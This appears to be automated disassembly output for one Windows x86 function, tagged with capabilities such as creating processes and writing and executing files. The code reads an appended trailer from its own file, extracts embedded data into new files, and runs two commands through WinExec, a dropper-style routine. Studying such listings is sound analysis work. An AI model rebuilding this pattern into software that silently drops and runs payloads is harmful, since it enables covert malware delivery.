Function at 0x40408c
Capabilities:
Create process on windows
Read file on windows
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
xor eax, eax
mov dword [ebp - 0x14], eax
mov eax, 0x404064
call fcn.00403f60
xor eax, eax
push ebp
push 0x404430
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [0x40688c], 0x158
mov dword [0x406890], 0x250
mov edx, 0x4064d4
xor eax, eax
call fcn.00402628
mov eax, 0x4064d8
mov edx, dword [0x4064d4]
call fcn.00402edc
jmp 0x4040f8
mov eax, dword [0x4064d8]
call fcn.00402f8c
mov edx, eax
dec edx
mov eax, 0x4064d8
call fcn.00403044
mov eax, dword [0x4064d8]
call fcn.00402f8c
mov edx, dword [0x4064d8]
cmp byte [edx + eax - 1], 0x5c
jne 0x4040e1
mov eax, dword [0x4064d4]
call fcn.00403038
mov dword [0x406898], eax
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
mov eax, dword [0x406898]
push eax
call sub.kernel32.dll_CreateFileA_1
mov dword [0x406884], eax
push 2
push 0
mov eax, dword [0x40688c]
mov edx, eax
neg eax
push eax
mov eax, dword [0x406884]
push eax
call sub.kernel32.dll_SetFilePointer_1
push 0
push 0x40688c
mov eax, dword [0x40688c]
push eax
push 0x40672c
mov eax, dword [0x406884]
push eax
call sub.kernel32.dll_ReadFile_1
lea eax, [ebp - 0x14]
mov edx, 0x40672c
mov ecx, 0x10
call fcn.00402f74
mov eax, dword [ebp - 0x14]
mov edx, 0x404444
call fcn.00402f94
jne 0x4043e1
mov eax, dword [0x406890]
xor edx, edx
push edx
push eax
mov eax, dword [0x40675c]
mov edx, dword [0x406760]
sub eax, dword [0x406754]
sbb edx, dword [0x406758]
call fcn.00403ab6
dec eax
test eax, eax
jl 0x4043e1
inc eax
mov dword [ebp - 0x10], eax
mov dword [0x406894], 0
push 0
push 0
mov eax, dword [0x406894]
imul dword [0x406890]
add eax, dword [0x406754]
push eax
mov eax, dword [0x406884]
push eax
call sub.kernel32.dll_SetFilePointer_1
push 0
push 0x406890
mov eax, dword [0x406890]
push eax
push 0x4064dc
mov eax, dword [0x406884]
push eax
call sub.kernel32.dll_ReadFile_1
mov dword [0x406898], 0x4064dc
mov eax, 0x40000
call fcn.00401edc
mov dword [0x4068a4], eax
mov eax, dword [0x40671c]
mov dword [0x40689c], eax
mov eax, dword [0x406720]
mov dword [0x4068a0], eax
push 0
push 0x80
push 1
push 0
push 1
push 0x40000000
mov eax, dword [0x406898]
push eax
call sub.kernel32.dll_CreateFileA_1
mov dword [0x406888], eax
push 0
push 0
mov eax, dword [0x40689c]
push eax
mov eax, dword [0x406884]
push eax
call sub.kernel32.dll_SetFilePointer_1
jmp 0x404395
mov eax, dword [0x40689c]
mov edx, dword [0x4068a0]
add eax, 0x40000
adc edx, 0
mov dword [0x40689c], eax
mov dword [0x4068a0], edx
mov eax, dword [0x40689c]
mov edx, dword [0x4068a0]
cmp edx, dword [0x406728]
jne 0x4042c1
cmp eax, dword [0x406724]
ja 0x40432b
jmp 0x4042c3
jg 0x40432b
mov dword [0x4068a8], 0x40000
push 0
push 0x4068a8
mov eax, dword [0x4068a8]
push eax
mov eax, dword [0x4068a4]
push eax
mov eax, dword [0x406884]
push eax
call sub.kernel32.dll_ReadFile_1
neg eax
sbb eax, eax
neg eax
mov byte [0x4068ac], al
push 0
push 0x4068a8
mov eax, dword [0x4068a8]
push eax
mov eax, dword [0x4068a4]
push eax
mov eax, dword [0x406888]
push eax
call sub.kernel32.dll_WriteFile_1
neg eax
sbb eax, eax
neg eax
mov byte [0x4068ac], al
call sub.kernel32.dll_GetLastError_1
mov dword [0x4068b0], eax
jmp 0x404395
mov eax, dword [0x40689c]
sub eax, dword [0x406724]
mov edx, 0x40000
sub edx, eax
mov dword [0x4068a8], edx
push 0
push 0x4068a8
mov eax, dword [0x4068a8]
push eax
mov eax, dword [0x4068a4]
push eax
mov eax, dword [0x406884]
push eax
call sub.kernel32.dll_ReadFile_1
neg eax
sbb eax, eax
neg eax
mov byte [0x4068ac], al
push 0
push 0x4068a8
mov eax, dword [0x4068a8]
push eax
mov eax, dword [0x4068a4]
push eax
mov eax, dword [0x406888]
push eax
call sub.kernel32.dll_WriteFile_1
neg eax
sbb eax, eax
neg eax
mov byte [0x4068ac], al
mov eax, dword [0x40689c]
mov edx, dword [0x4068a0]
cmp edx, dword [0x406728]
jne 0x4043b7
cmp eax, dword [0x406724]
jb 0x404283
jmp 0x4043bd
jl 0x404283
mov eax, dword [0x4068a4]
call fcn.00402064
mov eax, dword [0x406888]
push eax
call sub.kernel32.dll_CloseHandle_1
inc dword [0x406894]
dec dword [ebp - 0x10]
jne 0x4041d8
mov eax, dword [0x406884]
push eax
call sub.kernel32.dll_CloseHandle_1
mov dword [0x4068a4], 0x40676c
push 5
mov eax, dword [0x4068a4]
push eax
call sub.kernel32.dll_WinExec
mov dword [0x4068a4], 0x4067ec
push 5
mov eax, dword [0x4068a4]
push eax
call sub.kernel32.dll_WinExec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x404437
lea eax, [ebp - 0x14]
call fcn.00402eb8
ret